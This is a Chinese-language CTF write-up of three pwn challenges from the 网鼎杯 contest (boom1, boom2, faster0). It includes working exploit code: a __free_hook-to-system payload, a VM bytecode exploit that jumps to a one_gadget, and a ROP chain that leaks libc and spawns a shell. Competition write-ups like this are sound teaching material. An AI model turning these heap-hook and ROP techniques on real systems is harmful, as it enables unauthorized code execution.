前言
本周参加了两个比赛,一个是de1CTF,另一个是网鼎杯,把这两场比赛全部总结一下。
在网鼎杯中,有幸拿了一个签到pwn的一血,也是蛮开心的,其中boom1和boom2主要是两道类似于编译和执行的题目,boom1要求选手写一些高级语言,boom2要求选手写类似于机器码,总体来说都不难,最后的faster0也是这几次常出现的aeg题目,其实更准确的应该说是自动逆向的题目,和最后漏洞利用其实相关性不大。
将这些题目总结一下吧。
关键字: CTF
pwn
baby aeg
网鼎杯
boom1
题目描述
boom1打开后看起来内容很多,其实很多内容都不需要逆向。首先看到下面这个字符串时,已经大致猜到了什么:
这就类似于高级语言预订的一些关键词,那么也就是,我们用这些东西来写程序就好了。
在后面的动态运行中,我发现了,需要定义main函数,以及需要分号作为结尾。而且函数只能运行一次:
否则就会打印NOTALLOW。
思路
修改__free_hook为system,最后调用free(“/bin/sh”);
这个程序会把我们写好的程序的变量之类的,放置在malloc的区域,而此时malloc的大小是0x40000的,也就是这一空间必然是mmap出的新空间,且与libc是相邻的,那么我们就不需要知道libc的基地址,而直接通过偏移去得到__free_hook和system的地址。
pwn!!!
首先判断libc版本,在内存中,其实是有libc版本记录的地方,在peda中使用类似:find 2.23
,这样的语句就可以找到,而且总是有一个地址是与0x8对齐的,因为我们这里计算的偏移都是以0x8为一个单位。最后我计算出这个偏移为471879。计算方法就是用定义的a的地址减去目标地址,最后除以8。
可以看到,此时打印2.23,那么原创也可以测试出来就是2.23的libc版本。
最后用类似的方法计算出free_hook和system的值就好了:
最后的payload:main(){int a;*(&a-180998)=&a-640393;free("/bin/sh");}
就这样,我也收获了签到题的一血,开心!!!:
最后说一下,这个题payload真的太短了,太简单py了,感觉主办方需要考虑这个问题。
boom2
题目描述
boom2是需要逆向的一道题目:
我只说几个关键的逆向:
大体机制
本题主要是一个栈空间,附带一个寄存器。
我们输入指令的时候需要一个指令占64bit,也就是8个字节
push指令–13
直接p64(13)就是push。
pop操作指令–后面全都是
直接p64(指令),就是寄存器和pop出值得运算
给寄存器赋值的方式
指令0:p64(0)+p64(offset) 把相对于bp为offset的地址赋值给寄存器
指令1:p64(1)+p64(num) 把num赋值给寄存器
给pop出的地址赋值
直接p64(11)就是把pop出的一个地址,将寄存器的值赋值给pop出地址中的内容。
思路
有了这些东西,思路就很简单了,找到_environ的值,计算出EIP的值,更换成one_gadget。
exp 主体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| one = 0xf1147 ru("Input your code> ") payload = p64(1)+p64(18446744073709551376) payload += p64(13) payload += p64(0)+p64(18446744073709271013) payload += p64(9) payload += p64(25) payload += p64(13) payload += p64(1)+p64(one) payload += p64(13) payload += p64(0)+p64(18446744073708775934) payload += p64(25) payload += p64(11) debug() s(payload) getshell()
|
最后:
faster0
题目描述
这个题目就是很多个路径,而且有回路,angr直接去跑是不可以的,这道题由于比较简单,所以使用angr就有点杀鸡牛刀的感觉了,直接objdump出某个函数,然后分析这个函数的分支就可以了,用disasm也是可以的,最后就是一个栈溢出了,这里我就把前面寻找路径的exp贴出来,最后的栈溢出,过于基础,就不提了。
思路
首先给出一个objdump 某个函数的脚本,我们主要利用这个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #!/bin/bash
vmlinux=$1 symbol=$2
if [ -z "$vmlinux" ]; then echo "usage : $0 vmlinux symbol" exit fi
startaddress=$(nm -n $vmlinux | grep "\w\s$symbol" | awk '{print "0x"$1;exit}') endaddress=$(nm -n $vmlinux | grep -A1 "\w\s$symbol" | awk '{getline; print "0x"$1;exit}')
if [ -z "$symbol" ]; then echo "dump all symbol" objdump -d $vmlinux else echo "start-address: $startaddress, end-address: $endaddress" objdump -d $vmlinux --start-address=$startaddress --stop-address=$endaddress fi
|
最后解析的过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| num=0 result = "" while(max!=100): fun_name = "func"+str(max).rjust(3,"0") os.system("./objdump_function.sh "+elf_name+" "+fun_name+" > "+fun_name) fun_content = open(fun_name,"r").read() fun_content = fun_content.split('\n') max_address = 0 list =0 num+=1 for i in fun_content: if ("callq" in i) and("func" in i): tmp = i.split(" <func") a = tmp[1].split(">")[0] if int(a)==num: num =int(a) max_list = list list +=1 print(max_list) result+=str(max_list) print(result)
|
得到如下解析结果:
最后由exp输入给程序得到:
最后就是一个简单的栈溢出,直接用ROP就OK了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| p = process(elf_name) for i in result: p.send(i) p.send("\n") pop_rsi_p = 0x406011 pop_rdi = 0x0000000000406013 pppp = 0x000000000040600c payload = "a"*0xd8+p64(pop_rdi)+p64(1)+p64(pop_rsi_p)+p64(0x609020)+p64(1)+p64(0x40063C)+p64(pop_rdi)+p64(0x609018)+p64(pop_rsi_p)+p64(0x16)+p64(0x8)+p64(0x4007A7)+p64(pppp)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x40063C) p.recvuntil("WOW,U R GREAT !\n") p.send(payload) address = u64(p.recv(8)) - 0x884d0 system_address=address +0xe569f p.send(p64(system_address)) p.interactive()
|
最后得到:
写在最后
如有错误欢迎指正:sofr@foxmail.com